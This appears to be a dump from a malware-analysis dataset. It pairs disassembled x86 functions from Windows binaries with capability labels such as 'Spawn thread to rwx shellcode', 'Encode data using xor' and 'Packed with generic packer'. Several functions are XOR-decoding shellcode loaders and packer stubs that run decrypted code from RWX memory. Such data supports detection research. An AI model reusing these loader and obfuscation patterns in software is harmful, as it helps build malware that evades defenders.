joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4222df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401abf
push 0xc
call fcn.004058ac
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00422101
mov ebx, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push ebx
shl esi, 2
push 0x4490d0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetUpdateRgn]
mov dword [esp + 0x10], esi
mov ecx, edi
mov al, byte [ecx + 0x4490d0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x4490d0], al
inc ecx
cmp ecx, ebx
jb 0x422356
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push edi
push 0x42dad0
push 0x449258
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004023d0
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405899
mov esp, ebp
pop ebp
ret
Function at 0x10023c43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10023c52
pop dword [ebp - 0x48]
mov eax, 0x9bdd00a6
add eax, 0x74253bac
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x8b8a88e5
add dword [ebp - 0x58], 0xc2c7bc66
mov dword [ebp - 0x54], 0xac740053
sub dword [ebp - 0x54], 0x7a40b40e
mov dword [ebp - 0x50], 0xf53a4b2f
add dword [ebp - 0x50], 0x5711f8ff
mov dword [ebp - 0x4c], 0xa80b6216
sub dword [ebp - 0x4c], 0xa80b6216
lea eax, [ebp - 0x58]
push eax
mov eax, 0x866e866d
add eax, 0x8993c9e3
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x499db9ac
add dword [ebp - 0x58], 0x2ad4afaa
mov dword [ebp - 0x54], 0x263dddc1
sub dword [ebp - 0x54], 0xe4d17c4c
mov dword [ebp - 0x50], 0xa65f69a0
add dword [ebp - 0x50], 0xbd1002cc
mov dword [ebp - 0x4c], 0x4d555058
add dword [ebp - 0x4c], 0xb2aaafa8
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xc31912fc
add eax, 0x4ce93d58
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3dcae
push 0
call eax
mov ecx, 0x58016bb9
sub ecx, 0x5801236e
xor esi, esi
add esi, eax
mov edx, 0x7e248d0f
add edx, 0x91deccf1
add edx, dword [ebp - 0x48]
mov edi, 0xab7b293a
add dword [ebp - 0xc], ebx
mov ebx, dword [edx]
add dword [ebp - 0x10], eax
xor ebx, edi
sub dword [ebp - 0x14], eax
mov dword [esi], ebx
add dword [ebp - 0x2c], 0xa62b3377
add esi, 4
add edx, 0xd112ef42
add edx, 0x2eed10c2
loop 0x10023d70
add eax, 0xf8770155
add eax, 0x78a12aa
mov ebx, eax
add eax, 0x7b3b77b9
add eax, 0x84c4884c
mov ecx, 0x974c500d
sub ecx, 0x874c500d
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x10026d10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10026d1f
pop dword [ebp - 0x34]
mov eax, 0x10026d1f
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xc6f7efc8
add dword [ebp - 0x44], 0x875a5583
mov dword [ebp - 0x40], 0x42456b60
add dword [ebp - 0x40], 0xefede0e5
mov dword [ebp - 0x3c], 0xd246b741
add dword [ebp - 0x3c], 0x7a058ced
mov dword [ebp - 0x38], 0x7bbcdd33
sub dword [ebp - 0x38], 0x7bbcdd33
lea eax, [ebp - 0x44]
push eax
mov eax, 0xb0c8be8
sub eax, 0xfb081b20
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xb41a371d
add dword [ebp - 0x44], 0xc0583239
mov dword [ebp - 0x40], 0x929b2159
sub dword [ebp - 0x40], 0x512ebfe4
mov dword [ebp - 0x3c], 0xc47bc0bf
sub dword [ebp - 0x3c], 0x610c5453
mov dword [ebp - 0x38], 0x5e717797
add dword [ebp - 0x38], 0xa18e8869
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x41e7f
push 0
call eax
mov ecx, 0x4305
mov edx, eax
mov ebx, 0x9c222b8b
add ebx, 0x73e40475
add ebx, dword [ebp - 0x34]
mov edi, 0x2f2d5927
add edi, 0x4a6414e8
sub dword [ebp - 0x20], edx
mov esi, dword [ebx]
mov dword [ebp - 8], 0x625fadeb
xor esi, edi
sub dword [ebp - 0x2c], 0x430f595d
mov dword [edx], esi
xor dword [ebp - 8], edi
add edx, 0xad201678
sub edx, 0xad201674
add ebx, 0xa682701e
sub ebx, 0xa682701a
loop 0x10026e31
add eax, 0x845311b
add eax, 0xf7bbcdcc
mov ebx, eax
add eax, 0x8983acac
sub eax, 0x8983aca7
mov ecx, 0xc71e6cea
add ecx, 0x48e19316
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10028530
Capabilities:
Check if file exists
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100440b0
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x10056018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [ebp - 0x28]
call fcn.10026d10
cmp dword [eax + 0x10], 0
mov ebx, dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
setne al
cmp dword [ebp - 0x14], 8
mov byte [ebp - 0x41], al
jb 0x10028586
push dword [ebp - 0x28]
call ebx
mov al, byte [ebp - 0x41]
add esp, 4
xor ecx, ecx
xor edi, edi
test al, al
mov eax, dword [0x1005776c]
mov word [ebp - 0x28], cx
mov ecx, 0xd
cmove edi, ecx
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
test eax, eax
jne 0x100285c0
call fcn.10019710
mov ecx, eax
call fcn.10026d10
mov dword [0x1005776c], eax
mov ecx, dword [eax + 8]
cmp ecx, 0xffffffff
jne 0x100285ce
cmp dword [eax + 4], 0
je 0x100285dc
cmp ecx, 1
sete al
test al, al
je 0x100286b6
test edi, edi
jne 0x100286b6
xor eax, eax
push 0xffffffffffffffff
mov dword [ebp - 0x30], edi
push eax
lea edi, [esi + 0x24]
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.10026d10
mov dword [ebp - 4], 1
cmp dword [edi + 0x14], 8
mov dword [edi + 0x10], 0
jb 0x1002861b
mov eax, dword [edi]
jmp 0x1002861d
mov eax, edi
xor ecx, ecx
mov word [eax], cx
cmp dword [esi + 0x4c], ecx
je 0x100286a1
cmp dword [esi + 0x50], 8
lea ebx, [esi + 0x3c]
jb 0x10028634
mov eax, dword [ebx]
jmp 0x10028636
mov eax, ebx
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
jne 0x1002869b
cmp dword [ebx + 0x14], 8
jb 0x1002864a
mov ebx, dword [ebx]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
je 0x1002869b
cmp byte [esi + 0x58], 0
mov ecx, esi
je 0x10028664
call fcn.10026d10
jmp 0x10028669
call fcn.10026d10
cmp dword [edi + 0x14], 8
jb 0x10028671
mov edi, dword [edi]
cmp dword [ebp - 0x2c], 8
push 0xb
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
push edi
push eax
call dword [sym.imp.kernel32.dll_MoveFileExW]
call fcn.10026d10
test al, al
je 0x1002869b
call fcn.10026d10
mov edx, eax
call fcn.10026d10
mov ebx, dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
inc dword [esi + 0x54]
cmp dword [ebp - 0x2c], 8
mov dword [esi + 0x64], 0
jb 0x100286fe
push dword [ebp - 0x40]
jmp 0x100286f9
push 3
xor eax, eax
push 0x10049c34
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.10026d10
lea ecx, [esi + 0x3c]
push 0
lea edx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.10026d10
add esp, 4
cmp dword [ebp - 0x14], 8
jb 0x100286fe
push dword [ebp - 0x28]
call ebx
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fc71
mov esp, ebp
pop ebp
ret
Function at 0x10001130
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push esi
push edi
push dword [esp + 0x14]
call fcn.1000e3e0
mov esi, eax
add esp, 4
test esi, esi
jns 0x10001161
push 0x44d
push str.hprof_check.c
push str.fd_0
push 0
push 1
call fcn.10005090
add esp, 0x14
push 0xffffffffffffffff
push 0xffffffffffffffff
push esi
call fcn.1000e430
mov ebx, eax
add esp, 0xc
mov ecx, ebx
and ecx, edx
cmp ecx, 0xffffffff
jne 0x10001194
push 0x44f
push str.hprof_check.c
push str.Cannot_md_seek___to_end_of_file
push 0
push 1
call fcn.10005090
add esp, 0x14
cmp ebx, 0x200
jg 0x100011b7
push 0x451
push str.hprof_check.c
push str.__jint_nbytes__512
push 0
push 1
call fcn.10005090
add esp, 0x14
push 0
push 0
push esi
call fcn.1000e430
add esp, 0xc
or eax, edx
je 0x100011e3
push 0x453
push str.hprof_check.c
push str.Cannot_md_seek___to_start_of_file
push 0
push 1
call fcn.10005090
add esp, 0x14
lea eax, [ebx + 1]
push eax
call fcn.10016960
mov edi, eax
add esp, 4
test edi, edi
jne 0x1000120f
push 0x456
push str.hprof_check.c
push str.image_NULL
push eax
push 1
call fcn.10005090
add esp, 0x14
push ebp
push ebx
push edi
push esi
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
mov ebp, eax
add esp, 0xc
test ebp, ebp
jg 0x1000123c
push 0x45b
push str.hprof_check.c
push str.System_read_failed.
push 0
push 1
call fcn.10005090
add esp, 0x14
cmp ebx, ebp
pop ebp
je 0x1000125c
push 0x45d
push str.hprof_check.c
push str.__jint_nbytes_nread
push 0
push 1
call fcn.10005090
add esp, 0x14
push esi
call fcn.1000e010
add esp, 4
test edi, edi
jne 0x10001280
mov eax, dword [esp + 0x14]
push eax
push str.No_file_image:__s_n
call fcn.10002c50
add esp, 8
pop edi
pop esi
pop ebx
pop ecx
ret
mov eax, dword [0x1001f83c]
mov ecx, dword [eax + 0x10]
mov eax, edi
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100012b0
test dl, dl
je 0x100012ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100012b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001290
xor eax, eax
jmp 0x100012b5
sbb eax, eax
or eax, 1
test eax, eax
je 0x100012d4
push 0x474
push str.hprof_check.c
push str.strcmp__char_p__gdata__header_0
push 0
push 1
call fcn.10005090
add esp, 0x14
mov eax, dword [esp + 0x14]
push edi
push ebx
push eax
push str.Filename_s__nbytes_d__header__s__n
call fcn.10002c50
mov ecx, edi
add esp, 0x10
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100012f0
sub ecx, edx
lea esi, [ecx + edi]
lea eax, [esi + 1]
sub eax, ecx
sub eax, edi
lea ecx, [esp + eax + 0xb]
mov eax, dword [esi + 1]
mov dword [ecx], eax
push dword [esp + 0xc]
call fcn.1000e2a0
add esp, 4
cmp eax, 4
je 0x10001338
push 0x479
push str.hprof_check.c
push str.idsizesizeof_HprofId_
push 0
push 1
call fcn.10005090
add esp, 0x14
mov eax, dword [esi + 5]
push eax
call fcn.1000e2a0
mov eax, dword [esi + 9]
add esi, 0xd
push eax
call fcn.1000e2a0
mov eax, edi
sub eax, esi
add eax, ebx
push eax
push esi
call fcn.10014100
push ebx
push eax
push str._d_total_records_found_in__d_bytes_n
call fcn.10002c50
push edi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add esp, 0x20
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x401bd7
pop dword [ebp - 0x14]
mov eax, 0xea131403
add eax, 0x162d07d4
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x8b6a44ec
add dword [ebp - 0x24], 0xc2e8005f
mov dword [ebp - 0x20], 0xb22406b7
sub dword [ebp - 0x20], 0x7ff0ba72
mov dword [ebp - 0x1c], 0x630fcfb3
sub dword [ebp - 0x1c], 0x16c38b85
mov dword [ebp - 0x18], 0x514784f9
add dword [ebp - 0x18], 0xaeb87b07
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xe686bc22
sub dword [ebp - 0x24], 0x721452cc
mov dword [ebp - 0x20], 0xfdf967e2
add dword [ebp - 0x20], 0x4372f993
mov dword [ebp - 0x1c], 0x8779837
add dword [ebp - 0x1c], 0x5af7d435
mov dword [ebp - 0x18], 0x34f1bc36
sub dword [ebp - 0x18], 0x34f1bc36
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x36a5b
push 0
call eax
mov ecx, 0x6b64e66
add ecx, 0xf949f9e4
mov esi, eax
mov edi, 0x30396488
sub edi, 0x2ff86488
add edi, dword [ebp - 0x14]
mov edx, 0x56ac8b58
add edx, 0x5e1bb154
xor dword [ebp - 8], 0xaa0e51ed
mov ebx, dword [edi]
add dword [ebp - 4], ecx
xor ebx, edx
mov dword [ebp - 0x10], 0x2a7df4f7
mov dword [esi], ebx
add dword [ebp - 0xc], 0x8948f5d7
add esi, 0xe45cce6b
sub esi, 0xe45cce67
add edi, 4
loop 0x401cef
add eax, 0x3dd0957
sub eax, 0x3dbf55c
xor ebx, ebx
add ebx, eax
add eax, 0xb12e85db
sub eax, 0xb12e85d6
mov ecx, 0x4de4b35f
add ecx, 0xb25b4ca1
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x401069
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x819030]
jne 0x401073
repz ret
jmp fcn.00401d81

Function at 0x40856b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040277c
and dword [ebp - 4], 0
cmp dword [0x81b8b4], 0
mov ebx, eax
jne 0x40861c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4086cd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4086cd
push eax
call fcn.0040270a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x81b8b4], eax
call esi
push eax
call fcn.0040270a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x81b8b8], eax
call esi
push eax
call fcn.0040270a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x81b8bc], eax
call esi
push eax
call fcn.0040270a
pop ecx
mov dword [0x81b8c4], eax
test eax, eax
je 0x40861c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040270a
pop ecx
mov dword [0x81b8c0], eax
mov eax, dword [0x81b8c0]
cmp eax, ebx
je 0x408674
cmp dword [0x81b8c4], ebx
je 0x408674
push eax
call fcn.00402785
push dword [0x81b8c4]
mov esi, eax
call fcn.00402785
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408674
test edi, edi
je 0x408674
call esi
test eax, eax
je 0x40866b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40866b
test byte [ebp - 0xc], 1
jne 0x408674
or dword [ebp + 0x10], 0x200000
jmp 0x4086ad
mov eax, dword [0x81b8b8]
cmp eax, ebx
je 0x4086ad
push eax
call fcn.00402785
pop ecx
test eax, eax
je 0x4086ad
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4086ad
mov eax, dword [0x81b8bc]
cmp eax, ebx
je 0x4086ad
push eax
call fcn.00402785
pop ecx
test eax, eax
je 0x4086ad
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x81b8b4]
call fcn.00402785
pop ecx
test eax, eax
je 0x4086cd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4086cf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ae80
Capabilities:
Set console window title

Disassembly:
mov eax, dword [0x2ff9264]
sub esp, 0x1c
push ebx
mov ebx, dword [0x2ff8f88]
push esi
mov esi, dword [0x819f70]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40aeb0
push str.tehibosuneyowo
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2ff9264]
mov dword [0x81ba14], esi
cmp eax, 0x114e
jne 0x40aeda
lea eax, [esp + 0xc]
push eax
push str.wuzatewuleyicuf
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2ff9264]
cmp eax, 0x2f
jne 0x40aef7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push ebx
call fcn.0040ad70
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
Function at 0x402a6e
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x413311
call fcn.00411b70
sub esp, 0x824
and word [ebp - 0x830], 0
push esi
mov esi, ecx
push edi
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x82e]
mov edx, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esi + 0x68]
mov dword [ebp - 0x10], edx
mov ecx, dword [eax + 0x54]
test ecx, ecx
je 0x402ab1
mov dword [ebp - 0x10], ecx
mov eax, dword [eax + 0x74]
mov edi, edx
test eax, eax
je 0x402abc
mov edi, eax
push dword [0x41d23c]
lea eax, [ebp - 0x30]
push dword [0x41d1cc]
push eax
call fcn.0040674d
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00405fab
mov eax, dword [eax + 4]
add esp, 0x14
test eax, eax
jne 0x402aee
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push dword [ebp - 0x10]
push edi
push eax
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0x10
lea ecx, [ebp - 0x20]
push 1
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, 0x41ec14
push 5
push eax
push eax
lea eax, [ebp - 0x830]
push eax
push 0x41d074
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 2
push dword [esi + 4]
call dword [sym.imp.USER32.dll_EndDialog]
mov ecx, dword [ebp - 0xc]
push 1
pop eax
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 0x10
Function at 0x405853
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov eax, dword [eax + 4]
test eax, eax
jne 0x405863
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push esi
push 0x41dc88
push eax
call dword [sym.imp.MSVCRT.dll__wfopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x4058b7
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 4]
test eax, eax
jne 0x405888
mov eax, 0x4155b4
mov ecx, dword [esp + 0x10]
push esi
push 1
add eax, ecx
push dword [esp + 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, 1
push esi
je 0x4058b0
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
xor eax, eax
jmp 0x4058ba
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
pop esi
ret 0x10

Function at 0x40693e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push 9
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x26]
push dword [ebp + 0x10]
mov word [ebp - 0x28], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push 0x41dd08
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0xc
lea eax, [ebp - 0x28]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x4069cb
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x4069cb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebx
je 0x4069cb
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
cmp esi, ebx
je 0x4069cb
push dword [0x4155b0]
mov ecx, dword [ebp + 0x14]
push ebx
call fcn.004045e1
mov ecx, dword [ebp + 0x14]
push esi
push edi
call fcn.0040490e
push 1
pop ebx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret